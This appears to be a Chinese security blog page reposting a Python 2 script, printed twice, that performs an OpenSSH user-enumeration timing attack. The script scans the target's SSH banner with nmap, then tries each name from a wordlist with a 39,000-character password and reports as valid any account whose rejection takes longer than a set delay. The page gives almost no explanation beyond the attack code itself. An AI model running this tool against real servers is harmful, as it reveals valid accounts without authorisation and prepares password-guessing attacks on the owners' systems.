- 浏览: 293957 次
-
文章分类
- 全部博客 (276)
- burp+hydra暴力破解 (1)
- kali linux工具集 (6)
- kali (59)
- linux (54)
- password (14)
- web (63)
- 渗透测试 (50)
- windows (40)
- metasploit (9)
- 信息收集 (32)
- burp suit (4)
- 安全审计 (9)
- https://github.com/secretsquirrel/the-backdoor-factory (0)
- nmap (4)
- arachni (2)
- 工具 (5)
- sql (3)
- 网络 (2)
- 后渗透测试 (10)
- 内网 (5)
- 无线 (2)
- C (3)
- bios (1)
- RoR (12)
- mongodb (1)
- linxu (1)
- gdb (1)
- linux,虚拟化 (1)
- python (4)
最新评论
原文: http://www.devconsole.info/?p=341
#!/usr/bin/python
# -*- coding: utf-8 -*-
import paramiko
import socket
import time
import os,sys
import argparse
import subprocess
from IPy import IP
from threading import *
screenLock = Semaphore(value=1)
def sshTime(host,port,user,sock,defTime):
print 'Connecting %s@%s:%d ' % (user,host,int(port))
try:
sock.connect((host,int(port)))
para = paramiko.Transport(sock)
para.local_version="SSH-2.0-Blabla"
except paramiko.SSHException:
print "Unable to connect to host"
exit(1)
try:
para.connect(username=user)
except EOFError,e:
print 'Error: %s' % e
exit(1)
except paramiko.SSHException,e:
print 'Error: %s' % e
exit(1)
#results in a long wait on sshd side, as it needs to calc the password
#only if the user exists
passwd = 'A'*39000
#time measurement
timeStart = int(time.time())
try:
para.auth_password(user,passwd)
except paramiko.AuthenticationException,e:
print e
except paramiko.SSHException,e:
print e
timeDone = int(time.time())
#simple time calculation
timeRes = timeDone-timeStart
if timeRes > defTime:
print 'User: %s exists' % user
ret = user,host,port,timeRes
else:
ret = -1
para.close()
return ret
def sshBanner(host,port):
nport="-p"+port
print "Scaning %s tcp port at %s ..." % (port,host)
try:
scanv = subprocess.Popen(["nmap", "-PN", "-sV", nport,host],stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]
except OSError:
print "Install nmap: sudo apt-get install nmap"
scanlist=scanv.split()
if 'filtered' in scanlist:
print "Port " + port + " is filtered."
print "Nothing to do."
exit(1)
elif 'closed' in scanlist:
print "Port " + port + " is close."
print "Nothing to do."
exit(1)
else:
print "Port " + port + " is open."
if 'ssh' in scanlist:
index = scanlist.index('ssh')
print "SSH Server Banner ==> %s %s" % (scanlist[index+1], scanlist[index+2])
banner = scanlist[index+1] + " " + scanlist[index+2]
else:
print "Are you sure that it's a ssh server?"
print "Check with \"nmap -PN -sV -p 22 \" if you see something strange."
exit(1)
return banner
def main():
parse = argparse.ArgumentParser(description='OpenSSH User Enumeration Time-Based Attack')
parse.add_argument('-H', action='store', dest='host', help='Host to attack')
parse.add_argument('-p', action='store', dest='port', help='Host port')
parse.add_argument('-L', action='store', dest='ufile', help='User list file')
parse.add_argument('-d', action='store', dest='delay', help='Time delay in seconds')
argus=parse.parse_args()
if argus.host == None:
parse.print_help()
exit
elif argus.port == None:
parse.print_help()
exit
elif argus.ufile == None:
parse.print_help()
exit
elif argus.delay == None:
parse.print_help()
exit
else:
host = argus.host
port = argus.port
defTime = int(argus.delay)
try:
IP(host)
except ValueError:
print "Invalid host address."
exit(1)
try:
userFile = open (argus.ufile,'r')
except IOError:
print "The file %s doesn't exist." % (argus.ufile)
exit(1)
foundUser = []
print """
********************************************************************
* OpenSSH User Enumeration Timing Attack *
* *
* http://cureblog.de/openssh-user-enumeration-time-based-attack/ *
* http://seclists.org/fulldisclosure/2013/Jul/88 *
* *
********************************************************************
"""
print
banner = sshBanner(host,port)
print
for line in userFile.readlines():
line = line.split("\n")
user = line[0]
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
fUser = sshTime(host,port,user,sock,defTime)
if fUser != -1 and fUser !=None:
foundUser.append(fUser)
sock.close()
if len(foundUser) == 0:
print "No users found. " + banner + " perhaps it's not vulnerable."
else:
print
print "Server version: " + banner
print
print "Users found Time delay in seconds"
print "--------------------------------------"
for entry in foundUser:
if entry != -1:
print entry[0] + " " + str(entry[3])
if __name__=="__main__":
main()
#!/usr/bin/python
# -*- coding: utf-8 -*-
import paramiko
import socket
import time
import os,sys
import argparse
import subprocess
from IPy import IP
from threading import *
screenLock = Semaphore(value=1)
def sshTime(host,port,user,sock,defTime):
print 'Connecting %s@%s:%d ' % (user,host,int(port))
try:
sock.connect((host,int(port)))
para = paramiko.Transport(sock)
para.local_version="SSH-2.0-Blabla"
except paramiko.SSHException:
print "Unable to connect to host"
exit(1)
try:
para.connect(username=user)
except EOFError,e:
print 'Error: %s' % e
exit(1)
except paramiko.SSHException,e:
print 'Error: %s' % e
exit(1)
#results in a long wait on sshd side, as it needs to calc the password
#only if the user exists
passwd = 'A'*39000
#time measurement
timeStart = int(time.time())
try:
para.auth_password(user,passwd)
except paramiko.AuthenticationException,e:
print e
except paramiko.SSHException,e:
print e
timeDone = int(time.time())
#simple time calculation
timeRes = timeDone-timeStart
if timeRes > defTime:
print 'User: %s exists' % user
ret = user,host,port,timeRes
else:
ret = -1
para.close()
return ret
def sshBanner(host,port):
nport="-p"+port
print "Scaning %s tcp port at %s ..." % (port,host)
try:
scanv = subprocess.Popen(["nmap", "-PN", "-sV", nport,host],stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]
except OSError:
print "Install nmap: sudo apt-get install nmap"
scanlist=scanv.split()
if 'filtered' in scanlist:
print "Port " + port + " is filtered."
print "Nothing to do."
exit(1)
elif 'closed' in scanlist:
print "Port " + port + " is close."
print "Nothing to do."
exit(1)
else:
print "Port " + port + " is open."
if 'ssh' in scanlist:
index = scanlist.index('ssh')
print "SSH Server Banner ==> %s %s" % (scanlist[index+1], scanlist[index+2])
banner = scanlist[index+1] + " " + scanlist[index+2]
else:
print "Are you sure that it's a ssh server?"
print "Check with \"nmap -PN -sV -p 22 \" if you see something strange."
exit(1)
return banner
def main():
parse = argparse.ArgumentParser(description='OpenSSH User Enumeration Time-Based Attack')
parse.add_argument('-H', action='store', dest='host', help='Host to attack')
parse.add_argument('-p', action='store', dest='port', help='Host port')
parse.add_argument('-L', action='store', dest='ufile', help='User list file')
parse.add_argument('-d', action='store', dest='delay', help='Time delay in seconds')
argus=parse.parse_args()
if argus.host == None:
parse.print_help()
exit
elif argus.port == None:
parse.print_help()
exit
elif argus.ufile == None:
parse.print_help()
exit
elif argus.delay == None:
parse.print_help()
exit
else:
host = argus.host
port = argus.port
defTime = int(argus.delay)
try:
IP(host)
except ValueError:
print "Invalid host address."
exit(1)
try:
userFile = open (argus.ufile,'r')
except IOError:
print "The file %s doesn't exist." % (argus.ufile)
exit(1)
foundUser = []
print """
********************************************************************
* OpenSSH User Enumeration Timing Attack *
* *
* http://cureblog.de/openssh-user-enumeration-time-based-attack/ *
* http://seclists.org/fulldisclosure/2013/Jul/88 *
* *
********************************************************************
"""
banner = sshBanner(host,port)
for line in userFile.readlines():
line = line.split("\n")
user = line[0]
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
fUser = sshTime(host,port,user,sock,defTime)
if fUser != -1 and fUser !=None:
foundUser.append(fUser)
sock.close()
if len(foundUser) == 0:
print "No users found. " + banner + " perhaps it's not vulnerable."
else:
print "Server version: " + banner
print "Users found Time delay in seconds"
print "--------------------------------------"
for entry in foundUser:
if entry != -1:
print entry[0] + " " + str(entry[3])
if __name__=="__main__":
main()
发表评论
-
使用GCC/GNU-ld删除dead code
2016-05-09 17:18 665[url] https://gcc.gnu.org/ml/gc ... -
python 修饰器
2016-02-05 15:11 429def wrapper1(function): ... -
ubuntu 14.04 install e431 wifi driver
2016-01-25 20:59 463引用 sudo apt-get install linu ... -
git
2016-01-07 12:01 463http://finalshares.cn/attachmen ... -
嵌入式中使用gdb
2016-01-06 17:38 3717编译 For gdb: /path/to/gdb-sr ... -
linux change boot image
2016-01-02 00:55 5531. change grub2 引用vim /etc/defa ... -
binwalk --dd
2015-12-28 21:51 1432http://www.devttys0.com/2012/12 ... -
embeded LD_PRELOAD
2015-12-28 00:17 577引用 eve@eve:~/squashfs-root$ sud ... -
hardware hacking
2015-12-27 01:32 709For video stuff: https://www.yo ... -
ubuntu support kindle
2015-12-20 23:13 381引用apt-get install mtpfs -
linux 备份系统
2015-12-05 22:22 429引用备份 dd if=/dev/sda > myimag ... -
[译]root权限运行vlc
2015-11-30 22:19 1423原文地址:http://www.blackmoreops.co ... -
【转】关闭TCP Timestamps来节省一点带宽
2015-10-15 23:29 1661http://highscalability.com/blog ... -
[转]Terminal escape sequences – the new XSS for Linux sysadmins
2015-09-25 23:58 448https://ma.ttias.be/terminal-es ... -
ipython basic
2015-09-25 11:31 483Introspection引用 Using a questio ... -
static in C
2015-09-22 11:35 327jason@ubuntu:~/test$ cat a.c ... -
lxc重命名容器名
2015-09-20 00:25 834lxc-ls 使用文件夹名作为容器名。所以可以更改文件夹名称来 ... -
lxc更新apt源
2015-09-18 11:49 775最近一直在使用lxc创建容器,每次创建一个容器都需要把apt源 ... -
wireshark:Couldn't run /usr/bin/dumpcap in child process: Permission denied
2015-09-11 10:26 3395When start wireshark, I met an ... -
[转]调试python内存泄漏
2015-09-09 00:48 391http://chase-seibert.github.io/ ...
相关推荐
Java、SSH和JSP技术都是计算机领域中非常重要的技术,Java是一种面向对象的语言,SSH是一种安全的远程登录协议,JSP是一种基于Java的服务器端脚本语言。它们在计算机领域中的应用非常广泛,例如开发基于Web的应用...
4. **验证SSH服务**:一旦找到开放的22端口,脚本可能会尝试进行SSH连接,例如使用`ssh -o BatchMode=yes user@ip`,这里的`BatchMode=yes`选项禁止交互式输入,防止因无人值守而被阻塞。 5. **记录结果**:最后,...
【靶机系列测试 Me and My Girlfriend 11】是一篇针对初学者的网络安全教程,主要涉及Web应用测试、枚举和权限提升等知识点。在这个系列的第11部分,作者建立了一个QQ群来解答学习者的问题,并提供了一个实战靶机...
SSH服务可以利用公钥和私钥进行登录,如`ssh -i id_rsa user@10.10.10.x`。如果目标允许密码免密登录,公钥(`id_rsa.pub`)应添加到目标的`authorized_keys`文件中。 DNS区域传输检查是查找敏感信息的手段,如`dig...
嵌入式八股文面试题库资料知识宝典-华为的面试试题.zip
训练导控系统设计.pdf
嵌入式八股文面试题库资料知识宝典-网络编程.zip
人脸转正GAN模型的高效压缩.pdf
少儿编程scratch项目源代码文件案例素材-几何冲刺 转瞬即逝.zip
少儿编程scratch项目源代码文件案例素材-鸡蛋.zip
嵌入式系统_USB设备枚举与HID通信_CH559单片机USB主机键盘鼠标复合设备控制_基于CH559单片机的USB主机模式设备枚举与键盘鼠标数据收发系统支持复合设备识别与HID
嵌入式八股文面试题库资料知识宝典-linux常见面试题.zip
面向智慧工地的压力机在线数据的预警应用开发.pdf
基于Unity3D的鱼类运动行为可视化研究.pdf
少儿编程scratch项目源代码文件案例素材-霍格沃茨魔法学校.zip
少儿编程scratch项目源代码文件案例素材-金币冲刺.zip
内容概要:本文深入探讨了HarmonyOS编译构建子系统的作用及其技术细节。作为鸿蒙操作系统背后的关键技术之一,编译构建子系统通过GN和Ninja工具实现了高效的源代码到机器代码的转换,确保了系统的稳定性和性能优化。该系统不仅支持多系统版本构建、芯片厂商定制,还具备强大的调试与维护能力。其高效编译速度、灵活性和可扩展性使其在华为设备和其他智能终端中发挥了重要作用。文章还比较了HarmonyOS编译构建子系统与安卓和iOS编译系统的异同,并展望了其未来的发展趋势和技术演进方向。; 适合人群:对操作系统底层技术感兴趣的开发者、工程师和技术爱好者。; 使用场景及目标:①了解HarmonyOS编译构建子系统的基本概念和工作原理;②掌握其在不同设备上的应用和优化策略;③对比HarmonyOS与安卓、iOS编译系统的差异;④探索其未来发展方向和技术演进路径。; 其他说明:本文详细介绍了HarmonyOS编译构建子系统的架构设计、核心功能和实际应用案例,强调了其在万物互联时代的重要性和潜力。阅读时建议重点关注编译构建子系统的独特优势及其对鸿蒙生态系统的深远影响。
嵌入式八股文面试题库资料知识宝典-奇虎360 2015校园招聘C++研发工程师笔试题.zip
嵌入式八股文面试题库资料知识宝典-腾讯2014校园招聘C语言笔试题(附答案).zip
双种群变异策略改进RWCE算法优化换热网络.pdf